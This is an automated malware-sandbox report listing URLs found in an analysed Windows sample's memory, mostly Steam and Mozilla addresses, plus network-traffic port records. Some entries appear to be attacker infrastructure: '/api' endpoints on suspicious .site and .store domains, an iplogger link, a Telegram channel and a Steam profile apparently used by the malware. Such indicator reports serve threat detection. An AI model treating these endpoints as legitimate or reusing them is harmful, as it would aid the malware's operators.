Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33hM
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org//5
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js3n
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js2b67ac065cc
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000001A.00000002.3193282694.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mysterisop.s
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mysterisop.site/api
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://questionsmw.store/api
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://questionsmw.store/apiz
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snarlypagowo.site/apiq
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/L
Source: RegAsm.exe, 0000002F.00000002.3445776825.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/Q
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3153652964.0000000001252000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001230000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869=
Source: d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://support.mozilla.org
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp, DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: JJJKFB.7.dr, GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://www.mozilla.org
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://www.mozilla.org#
Source: RegAsm.exe, 00000007.00000002.3165993493.0000000019BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: RegAsm.exe, 00000007.00000002.3165993493.0000000019BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: GIEGHJEGHJKFIEBFHJKKKFHCFH.32.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004DA000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65274
Source: unknown	Network traffic detected: HTTP traffic on port 65246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65309
Source: unknown	Network traffic detected: HTTP traffic on port 65243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65300
Source: unknown	Network traffic detected: HTTP traffic on port 65295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65303
Source: unknown	Network traffic detected: HTTP traffic on port 65272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65283
Source: unknown	Network traffic detected: HTTP traffic on port 65278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65284
Source: unknown	Network traffic detected: HTTP traffic on port 65286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65311
Source: unknown	Network traffic detected: HTTP traffic on port 65258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65293
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65291
Source: unknown	Network traffic detected: HTTP traffic on port 65231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65298
Source: unknown	Network traffic detected: HTTP traffic on port 65311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65296
Source: unknown	Network traffic detected: HTTP traffic on port 65287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65290
Source: unknown	Network traffic detected: HTTP traffic on port 65264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65289
Source: unknown	Network traffic detected: HTTP traffic on port 65234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65245 -> 443
